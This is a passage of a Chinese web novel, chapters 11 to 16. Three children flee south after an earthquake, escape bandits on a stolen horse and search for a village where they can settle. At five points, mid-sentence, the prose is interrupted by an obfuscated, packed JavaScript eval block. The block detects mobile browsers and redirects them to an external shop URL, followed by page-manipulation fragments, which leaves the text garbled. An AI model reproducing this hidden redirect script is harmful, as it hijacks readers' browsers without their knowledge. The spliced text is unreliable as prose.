等会儿还能往里面放些紫花地丁,荤素搭配,营养健康,人间美味啊! 11. 第 11 章 如果不出意外的话,现在他们有了水源,又有肉干,秦霄还能偶尔捕些小动物,是可以在这里多待一阵子的。 然而这一场地龙翻身,山不在是山,无数没来得及躲藏的动物直接被埋在地下或是被山石压住。 天气又炎热,不过是几日臭气熏天,便是他们这片旷野上,也能偶尔闻到阵阵臭味。 这几日里,秦霄每天都去打一次水,这是第四天,然而这一次桶里却是空的。 “怎么回事?”杜月棠起先还以为是水源又枯竭了。 秦霄语气难得这般严峻,“那里不能在取水了,上方不知埋了多少倒霉畜牲,咱们得赶紧收拾离开。” 一面将身上带来的一圈圈藤条解下,“我编个背篓,把咱们的家当都背上,明天一早就离开。” 杜月棠连连点头,和杜叙一起帮忙。 只是也没得头绪,“下了山,又往何处去才好?”主要这信息实在落后,不知哪里风调雨顺,又愿意接纳他们这些难民。 还有这次地龙翻身,受灾的地方到底有多少个州府。 秦霄沉吟片刻,“往南边走吧,自古都说那里是江南水乡,想来哪里缺水,那里都应当不缺的。” 即便这里还有半个月不到就会有雨水,可这地龙翻身不知死了多少人,到时候那尸体叫水一泡,活人也要跟着遭殃。 说完,似乎才意识到一个问题,他和杜月棠姐弟俩并非是一路人,他们可又愿意和自己去? 也不知为何,秦霄忽然有些紧张,手里编织背篓的动作也停了下来,忐忑不安地抬头看朝杜月棠,“你们觉得呢?” 他不敢问,他们要不要和自己去? 就怕杜月棠直接给拒绝了。 所以思来想去,方想了这个折中些的问法。 说起来,前世也是有三五个好兄弟,顾将军也看重自己,还口头称要收自己为义子,可是他却没有一夜能睡得踏实的,时时刻刻神经都绑得紧紧的。 因为他清楚地知道,倘若自己没有那个能力,不管是顾将军也好,旁的兄弟也罢,都不会客客气气地和自己说话。 乌云台那六年,他学了不少有用的东西,前世靠着这些在军中混得还不错,现在也因为这些本事而活得尚且还可以。 但是乌云台留下的阴影却是无法磨灭的,他没有一天能安心入睡,就如同他与杜月棠姐弟俩初见,被他们砸晕那一次。 哪怕是晕过去了,都没有办法真正进入安眠状态,时刻警觉防备着。 这样当然很好,时刻都警备些,免得枉然丢了性命。 可是,他也想安安心心,像是正常人一样睡一个好觉。 而不是睡着后,还处于警戒中。 但自打地龙翻身那天,他被杜月棠从山洞里拖出来,他终于能像个正常人一样睡觉了。 因为他知道,就算是自己真的睡死了过去,他们也不会害自己,甚至有危险,也不会丢下自己。 就如同那天在山洞里一样。 也许,杜月棠救他,是因为在山洞里的时候,自己竭尽全力挡住了冲进洞里的狼。 可这样的事情,他前世做过无数次,更是为了救顾将军的家眷,在敌营七进七出。 却没有得到这样的回报,最后还因为顾怀景这个蠢货,为了一女人,设计毒杀自己。 想到这个顾怀景,一时气得胸闷不已。 他却不知,杜月棠本来就打算暂且跟着秦霄,若是一直不分开就好了。 就是秦霄不带着他们,她都要死皮赖脸跟着。 这样的乱世,她一个八岁小姑娘,弟弟又年幼,秦霄会武功,有他在自己和弟弟的生命安全能得到了一层保障。 二来他这个人虽是桀骜不驯,有时候又没素质还骂人,但这些都是微不足道的小事情,他这样骄傲的人,是不屑于害他们的。 所以不用时时刻刻都戒备着。 三来,他似乎什么都会做,执行能力和动手能力都很强,跟着他同行,杜月棠觉得简直就是抱上了大粗腿,一路上不知要免受多少苦难。 就如同他做来吃饭的皮兜,自己只动一动嘴皮子,他就轻而易举给做好了。 可若是自己,不知大半天能不能作出来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479052|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。 “江南当然好,那我们就往江南去。”于是她迫不及待地赶紧回答。 心里正在咒骂,恨不得把顾怀景碎尸万段的秦霄一听,眉眼里全是控制不住的喜悦,手指飞快翻飞,只想着赶紧将背篓编好,明天一早就出发。 免得他们姐弟两个反悔。 一面又十分满意这个答案,“咱们也是有过命的交情,往后跟着我小秦爷,给你找江南最俊最好的男人做夫婿。” 杜叙闻言,嘿嘿笑着凑过来,“霄哥,最俊的还好说,那你怎么知道哪个是最好的?” 杜月棠没想到他们俩还打趣起自己来,没好气的瞪了一眼,“那要不要我以后找媒人给你们说一房最漂亮的娘子?” 秦霄还没开口,杜叙就连连摆手拒绝,小脸上满是认真,“不要,我才不要媳妇,有媳妇了就要分我的东西吃。” 听说还要花自己的银子,那是不成的。 “嫁汉穿衣吃饭,你连口吃的都不愿意给人,那你以后做个老光棍算了。”杜月棠有些好笑,不过旋即又觉得,弟弟这么小懂得什么。 一夜无话,翌日天蒙蒙亮,三人收拾好行囊,背着背篓,便往南边走去。 杜月棠姐弟俩自打地龙翻身后,就没离开过这片旷野,只晓得到这山川满目疮痍,如今亲自走在这些随时可以塌陷的山石上,才晓得远比他们所预想的要危险许多。 一时看着走在前面,还背着家当的秦霄,心脏忽然一阵酸胀难受,“换我来背吧。” 他早前伤还那么严重,每日跑那么远去打水,还要打猎,一时间杜月棠觉得他们姐弟俩欠秦霄的,实在是太多了。 也不知往后要怎么才能报答完。 “不用,你肩上的伤没好呢!”秦霄头也没回,手里拿着一根棍子在前面探路,生怕不小心走过去,脚下忽然塌陷。 “你的不也没好。”杜月棠反驳,加快脚步上前,想要强行将他拦住。 谁知道此举引得秦霄不悦,“得了吧,你一个女孩儿,哪里能比得过小爷的皮糙肉厚?主意脚下,那跟树杆不能踩,跟着我走。” 12. 第 12 章 杜叙也连忙附和:“是啊阿姐,一会儿我来背。你是女孩儿,重活本就该少干。” 秦霄哪肯放过,毫不客气地拆台,“你背个头啊?你有这背篓高么?小矮子,看好路就行。” “反正我肯定能背!” 杜叙梗着脖子不服气,心里却也清楚,霄哥虽嘴损,却绝非真的嘲笑他,只是担心他年纪小背不动罢了。 心想阿姐说的果然对,霄哥好好的一个人,偏何长了一张嘴呢? 最后争执来争去,那只背篓最终还是没从秦霄背上卸下来。 话说当初杜月棠带着弟弟进山,本就走了三四天。如今虽群山被震平,不必再翻山越岭,可因遍地裂缝凹陷,路途愈发难行。随处可见被砸死的动物尸体,大群秃鹫如黑云般盘踞在枯树枝与乱石堆上,叫得人头皮发麻。 这般艰难,所以他们比进山时候多花了两天,才走出群山范围。 然这地龙翻身过后,地貌全然改变,即便下了山,原本的道路也荡然无存,三人全靠夜里的星星,白天的日头辨别方向,否则免不得像是那无头苍蝇般乱撞。 不过山下倒也有山下的好处。 这逃难的人大多已离去,地震后无人处理的尸体被深埋在地下,空气比山上清新了不少,总算少了那股刺鼻的恶臭。 只是这饮水,依旧是头号难题。 好在多亏秦霄手巧,早前做了这狼皮兜,每次用这皮兜煮沸后方敢入口。 转眼又走了五六天,背篓里的肉干日渐见少,紫花地丁早已耗尽,盐巴也彻底没了,除了几只空桦树桶,只剩几根干艾草。 秦霄伤势恢复得极好,如今背篓变轻,他更是健步如飞。 忽然,他满眼惊喜,指着远处平原上的一处村落,“快看!有村庄!兴许能翻出点盐巴渣子,就算没有,寻些咸菜也行!” 杜月棠也满心欢喜。 这一路逃亡,这还是他们看到的第一个村落,且保存得相当完好,除了几间茅草屋因地震坍塌,大部分房屋都还完整。 “看样子,没人。”即将夜幕,倘若有人在,杜月棠觉得应该有烟炊飘起才是。 秦霄却神色一凛,摇着头,“难说。你们在此处等我,我去探探。” 说罢解下背篓,让他们姐弟找个安全地方等候,便独自朝村子摸去。 根本没给杜月棠阻拦的机会。 这样独断专行,终究不是长久之计。 杜月棠心里暗忖,还是得想办法让他改改性子。 毕竟纵使秦霄武功高强,头脑也机敏,但老话讲 “三个臭皮匠顶个诸葛亮”,他就不能先仔细观察一番再行动吗?万一村里藏着不怀好意之人,他这孤身犯险,岂不是自投罗网? 她正暗自思索,忽然杜叙紧张地推了推她的手肘,低声道:“阿姐,不对劲。” “哪里不对劲?” 杜月棠立刻收回望向秦霄背影的目光,顺着弟弟的指引看去。 夕阳余晖下,村子里虽无人影,但村口一间茅屋的窗口,竟隐隐闪过一道刺眼的白光。 她的心猛地一沉。这般穷乡僻壤,哪来铜镜这般奢侈物件?所以这反光的分明是磨得锃亮的刀刃! 那茅屋里,必然有人!且不怀好人。 “阿叙,你不是跟他学了口哨吗?快喊他回来!” 杜月棠急声催促。 杜叙紧张地举起口哨,模仿着鸟叫声吹了起来。 可他不知,这方圆数里的鸟雀早被猎尽吃掉,只剩专食腐肉的秃鹫在头顶盘旋。 这声突兀的 “鸟叫”,虽及时提醒了秦霄,却也同样惊动了村里的人。 几乎是同一瞬间,七八道寒光在夕阳下闪烁着出鞘的锋芒,从村子里窜了出来。 秦霄被山石遮挡,未曾亲眼所见,但他敏锐地察觉到杜叙这蹩脚的口哨绝非寻常。 他没有丝毫犹豫,立刻转身往回狂奔。 远远望见满脸焦急的杜月棠拼命挥手,与此同时也听见了身后急促的脚步声 ,似乎还有马蹄声? 当即心思一动,他迅速环顾四周,一边吹起口哨回应杜叙,一边朝旁侧的土坡飞奔而去。 杜月棠眼睁睁看着他突然变向,心瞬间凉了半截,“他要做什么?” 该不会是想独自引开那些流匪,替他们姐弟断后吧? 杜叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479053|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也满脸困惑,紧紧跟在姐姐身侧:“他没说,只让咱们先往前跑。” 那声口哨就是这个意思。 “这个疯子!简直不要命了!” 杜月棠虽怒骂,却不敢停下脚步,只能背着行囊,拉着弟弟拼命往前跑。 心里也是有自知之明的,这个时候留下,只会成为秦霄的累赘。 也正因如此,杜叙也没有半分犹豫,迈着小短腿紧紧跟上。 另一边,秦霄一边狂奔一边侧耳倾听,最终俯身躲进一处凸起的土坡后方。 杂沓的马蹄声越来越近,听动静至少有两匹,一前冲锋,一后压阵。 好机会!顿时心头一喜,立即锁定了前面这匹马。 他紧攥匕首,屏息等待。 哒哒哒! 马蹄声近在咫尺。 很快,一个骑着瘦马的汉子闯入了他的视线。 三十丈!二十丈!十丈! 终于,三丈! 秦霄精瘦的身体猛地跃起,从土坡后窜出,踏空一跃直接落在那人的马背上!他上身向后猛倒,双脚死死钳住对方的脖颈,手中匕首更是毫不留情,直刺对方后腰! 这一招,是他前世在战场上屡试不爽的杀招。借着自己瘦小灵活的身形,不知立下多少功劳。 可惜,如今的他年纪太小,力气终究不足。仅凭双脚,无法瞬间锁喉毙命。 但这已足够。 匕首入肉,双管齐下。那汉子吃痛,惨叫着从马背上跌落。 秦霄回头嘲弄地瞥了一眼地上的狼狈身影,拍了拍马屁股,得意不已:“驾!驾!” 这汉子既然能骑马,显然是个小头目。 他一落马,身后徒步追来的手下立刻将他围住,这反倒给了秦霄绝佳的逃跑时机。 终于不用走路了!秦霄心情畅快至极,双腿用力踢着马腹,朝着杜月棠姐弟的方向疾驰而去,一边跑一边吹起口哨,传递平安的信号。 前方,杜月棠和杜叙正拼尽全力奔跑。 杜叙听到那熟悉的口哨声,虽不知秦霄是如何做到的,但瞬间对他佩服得五体投地,兴奋地大喊:“阿姐!不用跑了!霄哥说没事了!” 13. 第 13 章 杜月棠也跑得气喘吁吁,听得这好消息,不觉停下了脚步,可是还没来得及多喘两口气,就听到身后传来的马蹄声。 惊慌地扭头看,一面拉起弟弟不自觉就要跑,却见那骑马而来的,居然是秦霄。 也是眨眼的功夫,秦霄就已经到了两人面前,勒住马缰,俯身拉他们,“上来。” 杜月棠还没骑过马,不管前世今生,但想到接下来不用走路,自然没了半点畏惧,伸过手去,抬脚踩上马镫,爬上了马背。 至于杜叙,男娃就更喜欢大马了,早就心之所往,如今能骑马,更是高兴不已。 很快,姐弟里都上了马,杜叙坐在中间,杜月棠背着背篓坐在最后面。 可也就他们上马停歇这功夫,身后竟然又有马蹄声传来了,杜月棠又慌又急地扭头看了一眼,顿时脸色惨白,“他有弓,正对着咱们。” “别怕,听我指挥。” 秦霄神色镇定,丝毫不见畏惧,继续策马疾驰。耳朵却时刻警惕着后方的动静,当听到弓弦拉动的微响,厉声喝道:“趴下!” 姐弟俩毫不犹豫地伏下身。 几乎是同时,杜月棠听见破空之声,一支羽箭擦着她的头皮飞过,热浪裹挟着箭羽的呼啸声令人心惊。 还未等她惊魂未定,秦霄再次下令:“朝左!” 杜月棠凭着本能,拉着身前的杜叙猛地向左侧翻去。 也就在这一瞬间,她听见了马的嘶鸣惨叫,脚步骤然放缓,这一下险些让她摔下马背。 他们三人虽又躲开了这一箭,却也因此暴露了马头的位置,第二支箭精准射来,擦过马的耳朵,带出一道血痕。 马吃痛,方速度骤然一滞。 就是这一瞬的停顿,身后那名骑马射箭的流匪趁机逼近了上来。 这人箭术虽算不上顶尖,但在这群流匪中已是佼佼者。 只是连射两箭竟未命中三个 “黄口小儿”,他早已气急败坏。见他们速度慢了下来,索性不再浪费箭矢,双腿猛夹马腹,全速追击! 两匹马之间的距离,瞬间缩短。 秦霄虽未回头,但仅凭声音便已判断出对方近在咫尺,当即沉声问:“你们能驭马吗?” 杜月棠前世有心脏病,别说骑马,连碰都没碰过。“我不行。” 随即举起手中大刀,“你全速前进,我来挡!” 她看清对方只有弓箭和匕首,觉得远不如自己的大刀有优势。 这一路的苦,终究没有白吃。 她的臂力早已非此前可比,她有信心,只要抓住机会,必能劈伤对方。 只要对方受伤,就会慢下来,那他们就有足够的时间甩掉对方的追击。 “好。” 秦霄没有丝毫犹豫,专心驭马狂奔。 杜叙此刻能做的,便是一手死死抓住身前的秦霄,一手拉住姐姐,防止她在搏杀时重心不稳跌落。 三人之间的默契,无需言语便能心领神会。 “妈的!小羊崽,你倒会躲!给老子停下!不然老子把你们全宰了!” 眨眼睛,这后方的流匪几乎已与他们并驾齐驱。 再看清楚了前面的杜月棠和杜叙又廋又小,根本没将两人放在眼里。他双腿一夹马腹,上半身猛地朝他们扑了过来。 机会! 杜月棠心中一沉。 她有时也会想,自己这瘦弱矮小的身体,或许也是一种优势 ,敌人总因他们年幼而放松警惕。 当即咬紧牙关,挥刀猛砍。 然而,她到底不是练家子,所以出师不利,刀刃竟被对方徒手死死攥住! “哈哈哈!好个鲜嫩的小羊,还想砍老子!” 流匪见她这副模样,只觉胜券在握,也是彻底将防备松懈下来。 杜月棠又慌又急,抬脚就朝着对方腰间踹去,巧了不是,这只鞋底正好是银的,对方一阵吃疼。 她趁着这间隙,不但不抽回大刀,反而使劲全力向前推。 虽没伤到那流匪,但那流匪却因腰间疼痛,刀刃又忽然朝自己刺来,本能地避开,偏此刻那秦霄忽然腾出手来,匕首刺向马身上! 马吃痛,猛地人立而起,发出一声凄厉的嘶鸣,那流匪重心不稳,直接从马背上摔了下去,恰好被受惊的马蹄踏中。 这场致命危机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479054|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就此化解。 杜月棠长长地吁了一口气,只觉得双手发软,浑身脱力,有气无力地靠在杜叙身上。 “无用。”秦霄听着她劫后余生的喘气声,忍不住出声。 不过想到她那一脚竟然比刀还管用,还是诧异不已,“我怎么没发现,你脚劲有这么大?”还是那流匪有什么隐疾?刚好被她踹中了? 杜月棠回着,“我这只鞋底是银的。”半寸多厚,将近两厘米,能不疼么? 而杜叙一听到她这话,想起早前姐姐叮嘱,就是死也不能让任何人知道身上有银钱,如今却主动告诉霄哥,那岂不是意味着霄哥是自己人。 所以也不顾秦霄的震惊,兴奋地解释着:“霄哥,我跟阿姐有钱,我们的鞋底,都是一只金一只银。金子打算以后安顿下来后用,银子是准备路上方便剪下来买粮食的。” 只是可惜,沿途城镇村庄都跑完了,哪里有卖粮食的? 这银子也没地方用,一直都踩在脚底。 秦霄显然也被这秘密震得不轻,一时也是语气复杂,“你们姐弟俩,藏得可真深。今天若不是我发现,你们打算一直瞒着?” 一股莫名的委屈涌上心头来,他刚才还在暗自盘算着,等找个安全的地方安顿好他们,再冒险回村去碰碰运气,说不定那些流匪手里有银两。 毕竟他们要去江南,没有银钱难不成去讨饭睡大街么?何况那做官的,哪个不贪?到时候没有银子打典,又如何进城,如何弄到户籍? 逐渐恢复过来的杜月棠很快就发现了秦霄不同于以往的安静。 她试探着,轻轻扯了扯他的袖子,“你怎么了?” “没事。” 秦霄别扭地别过头。 没事?谁信!连杜叙都听出来了,担忧地问道:“霄哥,你是不是累了?” 杜月棠绞尽脑汁,终于恍然大悟,“你是因为…… 金银鞋底的事情不高兴?” 秦霄冷哼一声,语气酸溜溜的,“你们姓杜,我姓秦。不告诉我,多正常啊。我左不过就是个无关紧要的外人罢了。” 一时叫杜月棠哭笑不得,这小气鬼。 14. 第 14 章 但也只能耐着性子解释哄他,“也不是有意要瞒着你,这不是一路上也没个花钱的地方,我们早都忘记了这鞋底的事情,要不是你刚才问起,还想不起来呢。是吧阿叙。” 杜叙如小鸡啄米一般点着头,“对对对,真没想起来。”他没说谎,一路都在逃命,就像是姐姐说的,又没花钱的地方,如何能得起来? “霄哥,真的是们没骗你。而且我还可以告诉你,这些金银是我阿姐从嫡姐屋子里偷的,后来怕被人盯上,阿姐带着我找了个铁匠铺熔的,我们忙了一个晚上呢。” 本来还有些生气的秦霄听到他们提起嫡姐,自然想起了杜月柔。 神色微微一动,眸种闪过一抹杀意,也不知那妖女如今逃到了何处?而且他要杀她,这姐弟俩会不会因此与自己反目成仇? “你们和你那嫡姐,关系如何?” 他不动声色地问。 还没等杜月棠开口,杜叙已经气得小脸鼓鼓的,“她坏透了!她娘欺负我们姨娘,她也欺负我阿姐!就是嫉妒我阿姐长得好看!” “你阿姐长得好看?” 秦霄像是听到了什么天大笑话,猛地转过头,上下打量起杜月棠来,但见他满脸污垢,尤其是那头发当初剪得太短,即便现在也绑不住,炸毛得像颗爆栗子,顿时忍不住哈哈大笑起来,“阿叙,你是不是没见过漂亮姑娘?就她这样…… 哈哈哈,你要笑死我了……” 虽被嘲笑容貌,但杜月棠心里毫无波澜。一个小屁孩,计较什么?况且,他也不再为银子的事情生气了。 算了,让他笑吧。 可杜叙却一脸认真,据理力争,“霄哥,你别笑!我阿姐真的很美!我有三十五个姐姐,里面就我阿姐和二十四姐最好看!” 秦霄心里暗自腹诽,这杜狗官怕不是审美有问题,不然怎么纳那么多妾室?皇帝老儿全国上下选秀,都选不出多少美人。 难不成这杜狗官比皇帝老儿厉害? 所以肯定是荤素不忌,是个女的就行。 那杜叙身体里有他一半的血脉,审美被遗传也很正常,所以才觉得杜月棠好看。 不过,见他如此认真地辩解,秦霄也只能敷衍,“行行行,你阿姐好看,天下第一好看,行了吧?” 杜叙这才心满意足地笑起来,一脸与有荣焉,不过还实事求是地说:“也不算天下第一,反正就…… 很好看。” 话说三人虽有了这一匹瘦马代步,但速度仍旧很慢。 一来他们皆是孩童,如何经得起这长途疾驰的颠簸?再者,马匹也要吃食,一路之上,总要耗费许多时间去寻觅水源,找啃食适口的草根树皮。 三人就这般走走停停,熬了三四日,官道之上终于撞见了逃难的流民。 一群人个个面黄肌瘦、腹中空空,原本空洞麻木的眼底,在瞥见他们身下的瘦马时,骤然燃起浓烈又贪婪的光。 饥饿早已磨平了人性,有人全然不顾杜月棠手中紧握的长刀,踉跄着扑扑而上,眼神疯癫,仿佛下一刻就要扑上去啃咬马腿,生撕活剥。 道路两侧的流民见状,生怕慢上一步便抢不到吃食,纷纷挣扎起身,潮水般朝三人围堵过来。 “抓紧坐稳!” 秦霄冷声厉喝,脚尖狠狠踹向马腹,厉声催赶,“驾!驾!” 能挣扎活到此刻的,没有一个是善茬。 秦霄只要稍有半分犹豫,转瞬之间,马腿便会被无数饥民死死缠住,再难脱身。 夜色沉沉,他们三人躲在一出偏僻的小山坳里。 旁边的火塘在匆匆烧过水后就急忙扑灭,生怕运气不好,这附近也有暗中多藏起来过夜的流民。 杜月棠紧握着长刀,一双眼睛警惕地扫视着黑暗里的动静。“你们快休息,上半夜我来守。” 一旁的杜叙卷缩在兽皮上,自打这几日遇到人烟后,反而过得更加紧张艰难。 连日赶路都要时刻提防危险,他小小的身体早已疲惫不堪,但听到姐姐的话,还是强撑着精神,“阿姐,你要是困了就喊我。” 秦霄背靠老树坐着,目光望向通往品州的方向,“过了品州,就是江南地境了,我还以为到这边灾情会缓和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479055|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分。” 可这几日所见,远比想象中残酷。 此处虽并未受到西南地龙翻身的影响,但源源不断的西南流民涌入,一路掠夺啃食,寸草难生。 路边新坟枯骨堆集成山,淡黄色的贫瘠土地荒芜一片,枯树歪歪斜斜立在山野间,满目萧瑟荒凉。 杜月棠也满脸忧心忡忡,又有些迷茫,“这么多难民,恐生疫病,江南那边肯定安排人设立了关卡,若是过不去,咱们又往哪里走?” 光秃秃的老树下,那匹同行的瘦马似能听懂他们的话一般,停下啃食灌木茎秆的动作,耷拉着耳朵,不安地刨了刨脚下泛红的泥土,低低打了个响鼻。 秦霄抬手轻轻拍了拍马颈安抚,“既如此,我们不必再走大道了,就走山路去,也好叫这马儿轻松些。” 看着这瘦马,杜月棠也有些不忍,“是了,它跟着咱们受累了。”一口粮食没吃,全靠着根茎树皮,却驮着他们三个跑了这么远的路,躲过多少波徒步抢劫的流民。 两人这样商量好,便做了决定。 第二天一早,也不去官道上了,直接沿着这山坳峡谷走。 对于他们三人来说,这山里虽可能遇到野兽,但危险远比路上被流民们用饥肠辘辘的饿狼目光锁定要小太多。 最起码夜里不用专门熬夜值守了,只需得烧上火就能防野兽。 继续往南边走,也不知翻了多山,越了多少岭,终于那光秃秃的山上,能看到些绿色了,而且越是往前走,就越是枝繁叶茂。 不但如此,空气也没了原来的炎热,还时不时能吹到一两缕凉风。 马垂头就能吃到鲜嫩肥美的草,他们也在一处山泉边,将身上的污垢给洗掉。 可惜没有换洗的衣裳。 但即便是如此,身上那熏天臭味终于去了大半,杜月棠那张漂亮的小脸也终于是重见天日。 只是头发当时剪得太短了,现在也没法全部绑起来,只能绑着上面一搓,她意欲的扎个帅气的狼尾款式,奈何手艺不加,头发又短,所以更像是个冲天炮。 15. 第 15 章 一出来的时候,虽然那秦霄诧异与她果然如同杜叙所言那般,有一张极其漂亮的脸蛋,说不准以后也是倾国倾城之姿。 自诩也是见过不少美人的他也是愣了一下。 但也改变不了杜月棠现在这副好笑的样子,他一点忍不住,直接捧腹哈哈大笑起来:“你那头发不绑也罢,像是个大炮仗,还不如一颗毛栗子好看呢!” 是了,这时候正好是秋收时节,这边的山里,可见些野榛子和野毛栗,他们这两日里,捡了不少,桦树桶和皮袋子里,都装满了。 甚至还有几个品相不错的山核桃。 杜月棠觉得先盘着,没准以后遇到那识货的,还能卖钱呢! 一旁的杜叙想笑又不敢笑,瘦瘦的小脸瘪得通红。 杜月棠气得不理他俩。 虽说这山里物资丰富,但是他们也不能一直住在山里,毕竟盐早就没了,也不能一直吃肉和野菜,总是要吃些实打实的粮食才行。 所以现在计划着,找个偏远些的小村庄落脚。 运气不错,洗完澡的第二天,他们在山上就看到了远处山下有一处村子。 说起来,这还是自打破城后,第一次遇到香烟的村庄,炊烟缭缭,孩童嬉闹,犬吠鸡鸣,处处都充满了人间烟火味。 杜月棠姐弟俩一脸的向往之心,多少日没有睡过正常的床,吃一口饭喝一口汤。 但比起他们的兴奋喜悦,那秦霄只眺望了一眼,就直接打断了他们的幻想,“这个村子不行,咱继续找下一个吧,别耽搁时间了,省得一会儿天黑了,今晚还得继续搭窝棚。” “为什么不行?”杜叙不解,看着这村子挺好的,而且村庄外面的田坝里,皆是农忙的庄稼人,一看就很淳朴。 杜月棠同样好奇,为什么秦霄只看一眼,就否定了去这个村庄的决定,难道都不去问一问么?万一这村子愿意收留他们呢? 比起其他的流民,他们是三个孩子,最大的才九岁,一点威胁性都没有,应该是没人拒绝。 秦霄见姐弟俩一脸的不解,有些怀疑地看着他们俩,“你们到底也是县老爷家的儿女,怎么一点见识都没有?” 抬手指着那山下的村庄,“瞧着没,他们村子虽也是依山而建,地势宽广且十分平坦,但房屋却都集中在一处,看着整整齐齐。” “这样不好么?”杜叙还在问。 杜月棠却想起自己前世也看过不少古村落,能保存下来的,大部分都是屋舍规整,聚居集中的村落。 而这些村子,多半是宗族大姓聚居之地,以宗族为纽带,抱团而生,排外之心极重。 思绪一转,她瞬间豁然开朗,“我明白了,你是说,这是单一宗族的大姓村落。” “还算不算愚钝。” 秦霄微微颔首,抬手指向村落后方那座院落最宽阔,格局最气派的屋舍,“那处必定是宗族祠堂。这类宗族村落,规矩森严,向来只接纳外姓女子嫁入,绝不会轻易收留外来流民,更不会容许陌生外姓人落户定居。” 所以,即便他们三人装可怜博同情,让村子里的人一时心软留了他们,但始终会被排斥在外,不会真正被接纳。 毕竟,他们是外姓人! 秦霄说得如此细致,杜叙自然也听出门道了,“那霄哥,要什么样的村子,才合适咱们待?” “这简单。” 秦霄语气轻松,“只需寻那种屋舍散落杂乱,东一户西一院,毫无规整布局的村落。村民杂姓混居,各家自建屋舍,院落大小,建房方位全无规矩束缚,散漫随性。这类杂姓村落,包容性强,前去问询借住落户,十有八九都会应允。” 话音落下,他忽然察觉杜月棠正用一种格外古怪的目光盯着自己,顿时浑身不自在。 不管怎么说,他是个男孩子,哪怕前世也才活到十三岁,但在军营里,最不缺的就是浑话黄腔,什么他都懂。 “你这样看我作甚?” 杜月棠其实一直很好奇,秦霄到底是什么来路?要说他这张脸,长得也不像是寻常老百姓家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479056|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,又能滔滔不绝侃侃而谈,什么都懂什么都会,涉及简直是几乎要覆盖三百六十行了。 就像是大家族里培养的公子,见识繁多。 但是,他居然不识字。 可如果说他是普通老百姓家的孩子,他又不会种地。 而现在他凭着房屋布局,就能判断这村子是否是大姓村庄,存有村祠。 “只是忍不住想感慨一下,你什么都会,无所不能。有时候甚至让我觉得,你将来还能自己亲自生孩子,哈哈。” 本来前面的话,还夸得秦霄下意识地咧嘴开心笑起来,只是听到后半句,笑容嘎然止住,“你才能自己生孩子。” 干干反驳这一句,他似乎心里还不平衡,有些气不过,抬手就给了身旁的杜叙一巴掌。 “不是,霄哥你打我作甚?”杜叙莫名其妙挨了一巴掌,一脸不解。 “老子不打女人,只能打你了。”秦霄毫无道理,气冲冲地回了一句,上前牵起马就要走。 杜叙一脸无奈,虽然秦霄也没真下手,但他这纯属是无妄之灾,带姐受过。“阿姐你瞎说什么,害我挨打。” 杜月棠揉了揉他的脑袋,“没事,他又不是真打。”一面小跑追上去,“我其实是想夸你聪明来着,你看你会那么多,但你才九岁,可见你是学什么都一学就会,天底下像是你这样聪明的人,屈指可数。” 她紧跟在秦霄身后,知晓他还在生气,也不期待他能回自己的话,只自顾说:“也亏得你不认识字,不然要叫你看了几本书,就你这脑子,往后谁是你的对手啊,只怕都是杀人不见血。” 秦霄也不是真生气,所以听着杜月棠刚开始夸自己,嘴角其实就忍不住向上翘的。 开什么玩笑,他当然聪明,当初那几百个孩子里,只有三个活了下来,自己就是其中一个。 只是读书,怎么可能?上面的人是需要聪明的,但更需要只听他们话的。 读了书的人,会有自己的想法,到时候就不好管控了。 16. 第 16 章 